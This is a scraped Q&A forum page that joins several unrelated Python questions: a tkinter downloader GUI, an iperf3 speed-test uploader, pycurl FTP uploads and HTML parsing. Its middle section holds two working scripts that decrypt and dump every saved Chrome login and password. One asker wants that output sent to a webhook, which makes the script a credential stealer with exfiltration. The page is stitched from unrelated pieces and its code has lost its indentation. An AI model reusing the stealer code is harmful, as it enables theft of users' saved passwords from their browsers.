I have searched and found some answers on redirecting the sys.stdout to a text widget in python, but I can't apply them to my specific needs.
I have coded a simple GUI with tkinter for a downloader found here and I want the stdout messages to appear on a text widget, which after much effort I couldn't achieve.
So let's make my case clearer with my code:
from Tkinter import*
import Tkinter as tk
import tkMessageBox
import urllib2
import sys
#functions
def downloadlinks():
# Configuration BEGIN
LOGIN = ''
PASSWORD = ''
USE_SSL = False
VERIFY_MD5SUM = False
# Configuration END
__version__ = '0.1.0'
import sys
import os
import urllib
import subprocess
import time
try:
import hashlib
md5 = hashlib.md5
except ImportError:
import md5
md5 = md5.new
def info(msg):
sys.stdout.write('\n%s\n\n' % msg)
sys.stdout.flush()
def error(msg):
sys.stderr.write('%s\n' % msg)
sys.stderr.flush()
sys.exit(1)
def transfer_progress(blocks_transfered, block_size, file_size):
percent = float((blocks_transfered * block_size * 100) / file_size)
progress = float(blocks_transfered * block_size / 1024)
downspeed = (float(blocks_transfered * block_size) / float(time.time() - starttime)) / 1024
sys.stdout.write("Complete: %.0f%% - Downloaded: %.2fKb - Speed: %.3fkb/s\r" % (percent, progress, downspeed))
sys.stdout.flush()
def download(source, target):
global starttime
starttime = time.time()
filename, headers = urllib.urlretrieve(source, target, transfer_progress)
sys.stdout.write('Complete: 100%\n')
sys.stdout.flush()
for ss in headers:
if ss.lower() == "content-disposition":
filename = headers[ss][headers[ss].find("filename=") + 9:] # 9 is len("filename=")=9
urllib.urlcleanup() # Clear the cache
return filename
def verify_file(remote_md5sum, filename):
f = open(filename, "rb")
m = md5()
while True:
block = f.read(32384)
if not block:
break
m.update(block)
md5sum = m.hexdigest()
f.close()
return md5sum == remote_md5sum
def main():
file_link = "https://rapidshare.com/files/33392/examplefile.rar"
info('Downloading: %s' % file_link.split("/")[5])
try:
rapidshare_com, files, fileid, filename = file_link.rsplit('/')[-4:]
except ValueError:
error('Invalid Rapidshare link')
if not rapidshare_com.endswith('rapidshare.com') or files != 'files':
error('Invalid Rapidshare link')
if USE_SSL:
proto = 'https'
info('SSL is enabled00000000000')
else:
proto = 'http'
if VERIFY_MD5SUM:
info('MD5 sum verification is enabled')
info('Downloading: %s' % file_link.split("/")[5])
if filename.endswith('.html'):
target_filename = filename[:-5]
else:
target_filename = filename
info('Save file as: %s' % target_filename)
# API parameters
params = {
'sub': 'download_v1',
'fileid': fileid,
'filename': filename,
'try': '1',
'withmd5hex': '0',
}
if VERIFY_MD5SUM:
params.update({
'withmd5hex': '1',
})
if LOGIN and PASSWORD:
params.update({
'login': LOGIN,
'password': PASSWORD,
})
params_string = urllib.urlencode(params)
api_url = '%s://api.rapidshare.com/cgi-bin/rsapi.cgi' % proto
# Get the first error response
conn = urllib.urlopen('%s?%s' % (api_url, params_string))
data = conn.read()
#print data
conn.close()
# Parse response
try:
key, value = data.split(':')
except ValueError:
error(data)
try:
server, dlauth, countdown, remote_md5sum = value.split(',')
except ValueError:
error(data)
# Wait for n seconds (free accounts only)
if int(countdown):
for t in range(int(countdown), 0, -1):
sys.stdout.write('Waiting for %s seconds...\r' % t)
sys.stdout.flush()
time.sleep(1)
info('Waited for %s seconds. Proceeding with file download...' % countdown)
# API parameters for file download
dl_params = {
'sub': 'download_v1',
'fileid': fileid,
'filename': filename,
}
if LOGIN and PASSWORD:
dl_params.update({
'login': LOGIN,
'password': PASSWORD,
})
else:
dl_params.update({
'dlauth': dlauth,
})
dl_params_string = urllib.urlencode(dl_params)
download_link = '%s://%s/cgi-bin/rsapi.cgi?%s' % (proto, server, dl_params_string)
downloaded_filename = download(download_link, target_filename)
if VERIFY_MD5SUM:
if remote_md5sum.lower() == 'not found':
info('Remote MD5 sum is not available. Skipping MD5 sum verification...')
elif downloaded_filename:
if verify_file(remote_md5sum.lower(), downloaded_filename):
info('Downloaded and verified %s' % downloaded_filename)
else:
error('The downloaded file could not be verified')
else:
error('Will not verify. File not found: %s' % downloaded_filename)
info('Operation Complete')
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
error('\nAborted')
tkMessageBox.showinfo('Download Status Notification',"All files have been downloaded.")
#Window Title
app=Tk()
app.title("Downloader")
app.geometry('700x1080+550+0')
app.resizable(0,0)
#Title
titleText = StringVar()
titleText.set("Downloader")
label0=Label(app,textvariable=titleText,font=("Times", 16,"bold"),height=2)
label0.pack()
#
f1 = Frame(app, width=600, height=200)
xf1 = Frame(f1, relief=RAISED, borderwidth=5)
#Text
labelText = StringVar()
labelText.set("Enter link:")
label1=Label(f1,textvariable=labelText,font=("Times", 14))
label1.pack(side=LEFT, padx=5,pady=8)
#Field
linkname = StringVar(None)
linkname1 =Entry(f1,textvariable = linkname,font=("Times", 14),justify=CENTER)
linkname1.pack(side=LEFT, padx=5,pady=8)
Label(f1, text='').place(relx=1.06, rely=0.125,anchor=CENTER)
f1.pack()
#Button
downloadbutton=Button(app,text="Download",font=("Times", 12, "bold"),width=20,borderwidth=5,foreground = 'white',background = 'blue',command=downloadlinks)
downloadbutton.pack()
#####
downloadmessages = Text(app,height = 6,width=80,font=("Times", 12),foreground = 'cyan',background='black' )
downloadmessages.insert(END,"")
downloadmessages.pack(padx=20,pady=1)
app.mainloop()
So,let me ask some questions.My code descriptively is like that :
-import modules
-def downloadlinks()
-Window Title
-Title
-Frame with :
Text
Field
-Button
-Text Widget
When it says my_frame = your_gui_code_here(), does it refer to the Text Widget Code ?
downloadmessages = Text(app,height = 6,width=80,font=("Times", 12),foreground = 'cyan', background='black' )
downloadmessages.insert(END,"")
downloadmessages.pack(padx=20,pady=1)
You would need to open it as a subprocess and then pipe the stdout from there to a writeable source.
e.g.
import subprocess
my_frame = your_gui_code_here()
process = subprocess.Popen('ls', stdout=subprocess.PIPE, stderr=subprocess.PIPE)
my_frame.add_text(process.communicate()[0]) #or however you add text.
Related
I have just finished this script (python 3.9), and all output on it is using the '''print()''' command. I am wondering if there is a way to send my output to a webhook, I am thinking I could do this via the stdout but I am not sure and don't know where to start. Here is the script I am working with.
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
def chrome_date_and_time(chrome_data):
# Chrome_data format is 'year-month-date
# hr:mins:seconds.milliseconds
# This will return datetime.datetime Object
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
# Local_computer_directory_path will look
# like this below
# C: => Users => <Your_Name> => AppData =>
# Local => Google => Chrome => User Data =>
# Local State
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
# decoding the encryption key using base64
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
# remove Windows Data Protection API (DPAPI) str
encryption_key = encryption_key[5:]
# return decrypted key
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
def main():
key = fetching_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromePasswords.db"
shutil.copyfile(db_path, filename)
# connecting to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# 'logins' table has the data
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
# iterate over all rows
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
print(f"Main URL: {main_url}")
print(f"Login URL: {login_page_url}")
print(f"User name: {user_name}")
print(f"Decrypted Password: {decrypted_password}")
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
if last_usuage != 86400000000 and last_usuage:
print(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
print("=" * 100)
cursor.close()
db.close()
try:
# trying to remove the copied db file as
# well from local computer
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()
I've written this code:
import sqlite3
import win32crypt
c = sqlite3.connect("Login Data")
cursor = c.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
data = cursor.fetchall()
credentials = {}
for url, user, pwd in data:
password = win32crypt.CryptUnprotectData(pwd, None, None, None, 0)[1]
credential[url] = (user, password)
for item in credentials:
login = credentials[item]
print(login[0] + " " + login[1])
and it states that:
password = win32crypt.CryptUnprotectData(pwd, None, None, None, 0)[1]
pywintypes.error: (87, 'CryptProtectData', 'The parameter is incorrect.')
As I've searched it, Chrome v80 has changed encryption type. What should I do?
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
def get_master_key():
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
return decrypted_pass
except Exception as e:
# print("Probably saved password from Chrome version older than v80\n")
# print(str(e))
return "Chrome < 80"
if __name__ == '__main__':
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
I'm getting the error module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM'. Am I missing any library? – Gaurav S Jul 9 at 7:23
No you have everything. The crypto\Cipher\__init__.py file imports from Crypto.Cipher._mode_ecb import _create_ecb_cipher. However the directory's real name is crypto and not Crypto. You need to rename the directory to Crypto and then it works perfectly.
I have a code which requires to pass the latency, upspeed, dlspeed to another web site to display. Right now the code is as below
import datetime
import os
import sys
import shutil
import webbrowser
import tempfile
import subprocess
import json
import urllib.request
import statistics
import pymysql
import pymysql.cursors
IPERF3_WIN_PATH = "data/iperf3.exe"
HTML_TEMPLATE_PATH = "data/template.html"
IPERF3_HOST = "127.0.0.1"
RESULT_UPLOAD_URL = "UPLOAD URL"
RESULT_VIEW_URL = "VIEW URL"
def resource_path(relative_path):
""" Get absolute path to resource, works for dev and for PyInstaller
This is to get a path which will work with pyinstaller
"""
try:
# PyInstaller creates a temp folder and stores path in
# _MEIPASS
base_path = sys._MEIPASS
except Exception:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)
def ping(ip, tries):
""" Ping "ip" using the windows ping commmand
Return the average ping as a int
"""
res = 0
try:
output = subprocess.check_output(
["ping", "-n", str(tries), ip]).decode("utf-8")
res = int(output.split(" = ")[-1].split("ms")[0])
except subprocess.CalledProcessError:
input("Press Enter to Continue...")
sys.exit("Error while trying to ping the server, exiting")
else:
return res
def copyIperf3Exec():
""" On OSX :
Copy the iperf3 binary to a tmp file,
make it executable and return his path
This is to avoid many bundle related problems
On Windows, just return the package path """
return resource_path(IPERF3_WIN_PATH)
def get_iperf3_download():
""" Return the output of the iperf3 cli as a python dict """
ipf3_tmp = copyIperf3Exec()
try:
output = subprocess.check_output([ipf3_tmp,
"-c", IPERF3_HOST,
"-J",
"-P", "16",
"-w", "710000",
"-R"])
res_string = output.decode("utf-8")
except subprocess.CalledProcessError:
input("Press Enter to Continue...")
sys.exit("Problem while doing the test, please try again later")
else:
return json.loads(res_string)
def get_iperf3_upload():
""" Return the output of the iperf3 cli as a python dict """
ipf3_tmp = copyIperf3Exec()
try:
output = subprocess.check_output([ipf3_tmp,
"-c", IPERF3_HOST,
"-J",
"-P", "10",
"-w", "710000"])
res_string = output.decode("utf-8")
except subprocess.CalledProcessError:
input("Press Enter to Continue...")
sys.exit("Error while doing the upload test, please try again later")
else:
return json.loads(res_string)
def get_userinfos():
""" Get the 3 informations to be presented to the user
( ip, upload speed, download speed )
Return a Dictionary
"""
show_start_msg(0) # 0% Progress bar
avg_latency = ping(IPERF3_HOST, 5)
u_json = get_iperf3_upload()
show_start_msg(1) # 40%
d_json = get_iperf3_download()
show_start_msg(2) # 80%
ip = getip_apify()
u_bits_per_second = u_json['end']['sum_received']['bits_per_second']
d_bits_per_second = d_json['end']['sum_received']['bits_per_second']
u_testtime = u_json['end']['sum_received']['seconds']
d_testtime = d_json['end']['sum_received']['seconds']
u_testdate = u_json["start"]["timestamp"]["timesecs"]
d_testdate = d_json["start"]["timestamp"]["timesecs"]
res = {
'ip': ip,
'latency': avg_latency,
'upspeed': u_bits_per_second,
'dlspeed': d_bits_per_second,
'upspeedtime': u_testtime,
'dlspeedtime': d_testtime,
'upspeeddate': u_testdate,
'dlspeeddate': d_testdate
}
return res
def sendToDB(infos):
# Connect to the database
connection = pymysql.connect(host='127.0.0.1',
user='testclient',
password='password',
db='speed',
charset='utf8mb4',
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
# Create a new record
def stp_date(stp):
return datetime.datetime.fromtimestamp(stp).strftime(
'%Y-%m-%d %H:%M:%S')
sql = ("INSERT INTO `speedlog`"
"(`externalIP`, `uploadspeed`, `uploadspeedtime`,"
"`uploadspeeddate`, `downloadspeed`, `downloadspeedtime`,"
"`downloadspeeddate`, `latency`)"
"VALUES (%s, %s, %s, %s, %s, %s, %s, %s)")
cursor.execute(sql,
(infos["ip"],
str(int(infos["upspeed"])),
str("{0:.2f}".format(infos["upspeedtime"])),
stp_date(infos["upspeeddate"]),
str(int(infos["dlspeed"])),
str("{0:.2f}".format(infos["dlspeedtime"])),
stp_date(infos["dlspeeddate"]),
str(int(infos["latency"]))))
# connection is not autocommit by
# default. So you must commit to save
# your changes.
connection.commit()
finally:
connection.close()
return
def getip_apify():
res = urllib.request.urlopen("http://api.ipify.org")
raw_ip = res.read()
return raw_ip.decode('utf-8')
def prepare_template(templatePath, infos):
""" Load an html located at templatePath and replace the necessary text
with the associated values from the iPerf3 infos
Return a string
"""
f_template = open(templatePath)
s_template = f_template.read()
f_template.close()
mod_template = s_template.replace("avglatency", str(int(infos['latency'])))
mod_template = mod_template.replace(
"upspeed", str("{0:.3f}".format(infos['upspeed']/(1000*1000*1000))))
mod_template = mod_template.replace(
"dlspeed", str("{0:.3f}".format(infos['dlspeed']/(1000*1000*1000))))
return mod_template
def str_to_tempHtml(str):
""" Write "str" in an .html temporary file
And return his path
"""
data = bytes(str, "utf-8")
tmp = tempfile.NamedTemporaryFile(suffix=".html", delete=False)
tmp.write(data)
tmp.flush()
return tmp.name
def show_start_msg(progress):
if sys.platform.startswith('darwin'):
unused = os.system('clear')
elif sys.platform.startswith('win32'):
unused = os.system('cls')
print("="*70)
print("Speed Testing for 10G Network \n")
print("Powered by iPerf3")
print("="*70)
if progress == -1:
input("Press Enter to Continue...\n")
return
else:
print("Press Enter to Continue...\n")
print("Testing in progress")
if progress == 0:
print("[" + " "*68 + "]" + " 0%")
elif progress == 1:
print("[" + "#" * 27 + " " * 41 + "]" + " 40%")
elif progress == 2:
print("[" + "#" * 54 + " " * 14 + "]" + " 80%")
elif progress == 3:
print("[" + "#"*68 + "]" + " 100%")
print("Completed")
if __name__ == '__main__':
show_start_msg(-1)
infos = get_userinfos()
sendToDB(infos)
show_start_msg(3) # 100% Complete
data = { "key":"Jasdkjfhsda349*lio34sdfFdslaPisdf",
"download":"2048000",
"upload":"2048000",
"latency":"10"}
req = urllib.request.Request(RESULT_UPLOAD_URL, json.dumps(data).encode(
'ascii'))
req.add_header('Content-Type', 'application/json')
resp = urllib.request.urlopen(req).read().decode('ascii')
resp = resp.replace('\'', '"')
webbrowser.open(RESULT_VIEW_URL.format(json.loads(resp)['test_id']))
input("Press Enter to Continue...")
My latency, upspeed and dlspeed variables are stored as infos, and later sent over to the DB for recording via sendtoDB(infos).
The next part is to also pass these sets of variables to another web using RESTful, which in the data, the first attribute "key" is the REST key for authentication, followed by the rest of the values like latency, downloadspeed and uploadspeed. However, you can see that in the data, all the 3 variables are hard-coded value instead of the values derived from the test, which is latency, upspeedand dlspeed.
How can I modify the code to get these attributes instead of the hardcoded ones?
You have a method that returns this dictionary...
res = {
'ip': ip,
'latency': avg_latency,
'upspeed': u_bits_per_second,
'dlspeed': d_bits_per_second,
'upspeedtime': u_testtime,
'dlspeedtime': d_testtime,
'upspeeddate': u_testdate,
'dlspeeddate': d_testdate
}
And it is called infos, so use it
data = { "key":"xxxxxxxx",
"download":infos['dlspeed']
"upload":infos['upspeed'],
"latency":infos['latency']}
So the curl command I'm using is as follows:
cmd = "curl --write-out %{http_code} -X PUT -T " + self.basedir + putfile + " -# -o /dev/null " + self.uri + "/" + self.dist + "/" + putfile
I'd like to change this from invoking a system command to using pycurl. This way I can have more granular control over it and ultimately implement a progress bar for it. However, when I try and convert to python, my resulting script fails. Here is my efforts towards a python script:
f = open(filepath, "rb")
fs = os.path.getsize(filepath)
c = pycurl.Curl()
c.setopt(c.URL, target_url)
c.setopt(c.HTTPHEADER, ["User-Agent: Load Tool (PyCURL Load Tool)"])
c.setopt(c.PUT, 1)
c.setopt(c.READDATA, f)
c.setopt(c.INFILESIZE, int(fs))
c.setopt(c.NOSIGNAL, 1)
c.setopt(c.VERBOSE, 1)
c.body = StringIO()
c.setopt(c.WRITEFUNCTION, c.body.write)
try:
c.perform()
except:
import traceback
traceback.print_exc(file=sys.stderr)
sys.stderr.flush()
f.close()
c.close()
sys.stdout.write(".")
sys.stdout.flush()
Here's what that outputs:
* About to connect() to ************ port 8090 (#0)
* Trying 16.94.124.53... * connected
> PUT /incoming/ HTTP/1.1
Host: ***********
Accept: */*
User-Agent: Load Tool (PyCURL Load Tool)
Content-Length: 21
Expect: 100-continue
< HTTP/1.1 100 Continue
* We are completely uploaded and fine
< HTTP/1.1 500 Internal Server Error
< Content-type: text/html
* no chunk, no close, no size. Assume close to signal end
<
Thanks in advance for you help!
I've did uploading working module, you can find your answers looking in code.
And you can find almost all answers regarding pycurl by digging libcurl examples and Docs.
'''
Created on Oct 22, 2013
#author: me
'''
import pycurl
import os
import wx
import sys
import hashlib
from cStringIO import StringIO
def get_file_hash(full_filename):
BLOCKSIZE = 65536
hasher = hashlib.md5()
with open(full_filename, 'rb') as afile:
buf = afile.read(BLOCKSIZE)
while len(buf) > 0:
hasher.update(buf)
buf = afile.read(BLOCKSIZE)
return hasher.hexdigest()
class FtpUpload(object):
def __init__(self, server, username, password, **items):
self.server = server
self.username = username
self.password = password
self.gauge = items.get("gauge")
self.sb_speed = items.get("sb_speed")
self.upload_file_size = items.get("upload_file_size")
self.upload_file_speed = items.get("upload_file_speed")
self.filesize = 0
self.ftp_filehash = '0'
def sizeToNiceString(self, byteCount):
for (cutoff, label) in [(1024*1024*1024, "GB"), (1024*1024, "MB"), (1024, "KB")]:
if byteCount >= cutoff:
return "%.2f %s" % (byteCount * 1.0 / cutoff, label)
if byteCount == 1:
return "1 byte"
else:
return "%d bytes" % byteCount
def initRange(self, filesize):
self.filesize = filesize
self.gauge.SetRange(filesize)
def updateValue(self, upload_d):
upload_d_int = int(upload_d)
self.gauge.SetValue(upload_d_int)
upload_d_str = self.sizeToNiceString(upload_d)
upload_percent = int((upload_d*100)/self.filesize)
upload_d_status = "{0}/{1} ({2}%)".format(upload_d_str, self.sizeToNiceString(self.filesize), upload_percent)
self.sb_speed.SetStatusText(upload_d_status, 1)
self.upload_file_size.SetLabel(upload_d_status)
self.upload_file_speed.SetLabel(upload_d_str)
def progress(self, download_t, download_d, upload_t, upload_d):
self.updateValue(upload_d)
def test(self, debug_type, debug_msg):
if len(debug_msg) < 300:
print "debug(%d): %s" % (debug_type, debug_msg.strip())
def ftp_file_hash(self, buf):
sys.stderr.write("{0:.<20} : {1}\n".format('FTP RAW ', buf.strip()))
ftp_filehash = dict()
item = buf.strip().split('\n')[0]
ext = item.split('.')[1]
if len(ext) > 3:
ftp_filename = item[:-33]
ftp_filehash = item[-32:]
self.ftp_filehash = ftp_filehash
def get_ftp_file_hash(self, filename):
c = pycurl.Curl()
list_file_hash = 'LIST -1 ' + filename + "_*"
sys.stderr.write("{0:.<20} : {1} \n".format('FTP command ', list_file_hash))
c.setopt(pycurl.URL, self.server)
c.setopt(pycurl.USERNAME, self.username)
c.setopt(pycurl.PASSWORD, self.password)
c.setopt(pycurl.VERBOSE, False)
c.setopt(pycurl.DEBUGFUNCTION, self.test)
c.setopt(pycurl.CUSTOMREQUEST, list_file_hash)
c.setopt(pycurl.WRITEFUNCTION, self.ftp_file_hash)
c.perform()
c.close()
def delete_ftp_hash_file(self, ftp_hash_file_old):
c = pycurl.Curl()
delete_hash_file = 'DELE ' + ftp_hash_file_old
sys.stderr.write("{0:.<20} : {1} \n".format('FTP command ', delete_hash_file))
c.setopt(pycurl.URL, self.server)
c.setopt(pycurl.USERNAME, self.username)
c.setopt(pycurl.PASSWORD, self.password)
c.setopt(pycurl.VERBOSE, False)
c.setopt(pycurl.DEBUGFUNCTION, self.test)
c.setopt(pycurl.CUSTOMREQUEST, delete_hash_file)
try:
c.perform()
except Exception as e:
print e
c.close()
def upload(self, full_filename, filesize):
self.initRange(filesize)
filename = os.path.basename(full_filename)
sys.stderr.write("filename: %s\n" % full_filename)
c = pycurl.Curl()
c.setopt(pycurl.USERNAME, self.username)
c.setopt(pycurl.PASSWORD, self.password)
c.setopt(pycurl.VERBOSE, False)
c.setopt(pycurl.DEBUGFUNCTION, self.test)
c.setopt(pycurl.NOBODY, True)
c.setopt(pycurl.HEADER, False)
ftp_file_path = os.path.join(self.server, os.path.basename(full_filename))
file_hash = get_file_hash(full_filename)
ftp_hash_file = ftp_file_path + "_%s" % file_hash
# Getting filesize if exist on server.
try:
c.setopt(pycurl.URL, ftp_file_path)
c.perform()
filesize_offset = int(c.getinfo(pycurl.CONTENT_LENGTH_DOWNLOAD))
except Exception as error_msg:
print error_msg
wx.MessageBox(str(error_msg), 'Connection error!',
wx.OK | wx.ICON_ERROR)
# Exit upload function.
return True
ftp_file_append = True
# Get ftp file hash.
self.get_ftp_file_hash(filename)
offset = filesize_offset == -1 and '0' or filesize_offset
sys.stderr.write("L_file hash : {0:.<60}: {1:<40}\n".format(filename, file_hash))
sys.stderr.write("F_file hash : {0:.<60}: {1:<40}\n".format(filename, self.ftp_filehash))
sys.stderr.write("{0:15} : {1:.>15}\n".format('filesize:', filesize))
sys.stderr.write("{0:15} : {1:.>15}\n".format('ftp_filesize', offset))
sys.stderr.write("{0:15} : {1:.>15}\n".format('to upload:', filesize - int(offset)))
# File not exist on FTP server.
if filesize_offset == -1:
# file not exist: uploading from offset zero.
ftp_file_append = False
filesize_offset = 0
# Local and FTP file size and files MD5 are the same.
elif filesize_offset == self.filesize and file_hash == self.ftp_filehash:
sys.stderr.write("--- File exist on server! ---\n\n")
self.upload_file_speed.SetLabel("File exist on server!")
self.sb_speed.SetStatusText("File exist on server!", 1)
# Check next filename.
return False
# Ftp file and local file different data.
elif file_hash != self.ftp_filehash:
ftp_file_append = False
filesize_offset = 0
ftp_hash_file_old = filename + "_" + self.ftp_filehash
# delete old hash file.
self.delete_ftp_hash_file(ftp_hash_file_old)
c.setopt(pycurl.FTPAPPEND, ftp_file_append)
c.setopt(pycurl.UPLOAD, True)
c.setopt(pycurl.PROGRESSFUNCTION, self.progress)
with open('filehash.txt', 'w') as f:
f.write(file_hash)
for item in ("filehash.txt", full_filename):
# dont show progress by default.
noprogress = True
# upload ftp_hash_file first.
ftp_url = ftp_hash_file
with open(item, "rb") as f:
# chages ftp_url and show progress values, add filesize_offset.
if item != "filehash.txt":
f.seek(filesize_offset)
noprogress = False
ftp_url = ftp_file_path
c.setopt(pycurl.URL, ftp_url)
c.setopt(pycurl.NOPROGRESS, noprogress)
c.setopt(pycurl.READFUNCTION, f.read)
try:
c.perform()
if item != "filehash.txt":
sys.stderr.write("{0:15} : {1:.>15}\n\n".format("size uploaded", int(c.getinfo(pycurl.SIZE_UPLOAD))))
except Exception as error_msg:
print error_msg
wx.MessageBox(str(error_msg), 'Connection error!',
wx.OK | wx.ICON_ERROR)
# Exit upload function.
return True
self.ftp_filehash = '0'
c.close()
if __name__ == '__main__':
pass
I have the following program, that is trying to upload a file (or files) to an image upload site, however I am struggling to find out how to parse the returned HTML to grab the direct link (contained in a <dd class="download"><input type="text" value="{hereisthelink}"></dd> ).
I have the code below:
#!/usr/bin/python
# -*- coding: utf-8 -*-
import pycurl
import urllib
import urlparse
import xml.dom.minidom
import StringIO
import sys
import gtk
import os
import imghdr
import locale
import gettext
try:
import pynotify
except:
print "Install pynotify. It's whoasome!"
APP="Uploadir Uploader"
DIR="locale"
locale.setlocale(locale.LC_ALL, '')
gettext.bindtextdomain(APP, DIR)
gettext.textdomain(APP)
_ = gettext.gettext
##STRINGS
uploading = _("Uploading image to Uploadir.")
oneimage = _("1 image has been successfully uploaded.")
multimages = _("images have been successfully uploaded.")
uploadfailed = _("Unable to upload to Uploadir.")
class Uploadir:
def __init__(self, args):
self.images = []
self.urls = []
self.broadcasts = []
self.username=""
self.password=""
if len(args) == 1:
return
else:
for file in args:
if file == args[0] or file == "":
continue
if file.startswith("-u"):
self.username = file.split("-u")[1]
#print self.username
continue
if file.startswith("-p"):
self.password = file.split("-p")[1]
#print self.password
continue
self.type = imghdr.what(file)
self.images.append(file)
for file in self.images:
self.upload(file)
self.setClipBoard()
self.broadcast(self.broadcasts)
def broadcast(self, l):
try:
str = '\n'.join(l)
n = pynotify.Notification(str)
n.set_urgency(pynotify.URGENCY_LOW)
n.show()
except:
for line in l:
print line
def upload(self, file):
#Try to login
cookie_file_name = "/tmp/uploadircookie"
if ( self.username!="" and self.password!=""):
print "Uploadir authentication in progress"
l=pycurl.Curl()
loginData = [ ("username",self.username),("password", self.password), ("login", "Login") ]
l.setopt(l.URL, "http://uploadir.com/user/login")
l.setopt(l.HTTPPOST, loginData)
l.setopt(l.USERAGENT,"User-Agent: Uploadir (Python Image Uploader)")
l.setopt(l.FOLLOWLOCATION,1)
l.setopt(l.COOKIEFILE,cookie_file_name)
l.setopt(l.COOKIEJAR,cookie_file_name)
l.setopt(l.HEADER,1)
loginDataReturnedBuffer = StringIO.StringIO()
l.setopt( l.WRITEFUNCTION, loginDataReturnedBuffer.write )
if l.perform():
self.broadcasts.append("Login failed. Please check connection.")
l.close()
return
loginDataReturned = loginDataReturnedBuffer.getvalue()
l.close()
#print loginDataReturned
if loginDataReturned.find("<li>Your supplied username or password is invalid.</li>")!=-1:
self.broadcasts.append("Uploadir authentication failed. Username/password invalid.")
return
else:
self.broadcasts.append("Uploadir authentication successful.")
#cookie = loginDataReturned.split("Set-Cookie: ")[1]
#cookie = cookie.split(";",0)
#print cookie
c = pycurl.Curl()
values = [
("file", (c.FORM_FILE, file)),
("terms", "1"),
("submit", "submit")
]
buf = StringIO.StringIO()
c.setopt(c.URL, "http://uploadir.com/file/upload")
c.setopt(c.HTTPPOST, values)
c.setopt(c.COOKIEFILE, cookie_file_name)
c.setopt(c.COOKIEJAR, cookie_file_name)
c.setopt(c.WRITEFUNCTION, buf.write)
if c.perform():
self.broadcasts.append(uploadfailed+" "+file+".")
c.close()
return
self.result = buf.getvalue()
#print self.result
c.close()
doc = urlparse.urlparse(self.result)
print doc
self.urls.append(doc.getElementsByTagName("download")[0].childNodes[0].nodeValue)
def setClipBoard(self):
c = gtk.Clipboard()
c.set_text('\n'.join(self.urls))
c.store()
if len(self.urls) == 1:
self.broadcasts.append(oneimage)
elif len(self.urls) != 0:
self.broadcasts.append(str(len(self.urls))+" "+multimages)
if __name__ == '__main__':
uploadir = Uploadir(sys.argv)
The code that deals with the HTML parsing is here:
doc = urlparse.urlparse(self.result)
self.urls.append(doc.getElementsByTagName("download")[0].childNodes[0].nodeValue)
The urlparse module has nothing to do with parsing HTML. All it does is break a URL up into bits: protocol, network address, path, etc. For example:
>>> urlparse.urlparse("http://www.stackoverflow.com/questions/4699888")
ParseResult(scheme='http', netloc='www.stackoverflow.com', path='/questions/4699888', params='', query='', fragment='')
For parsing HTML, try BeautifulSoup.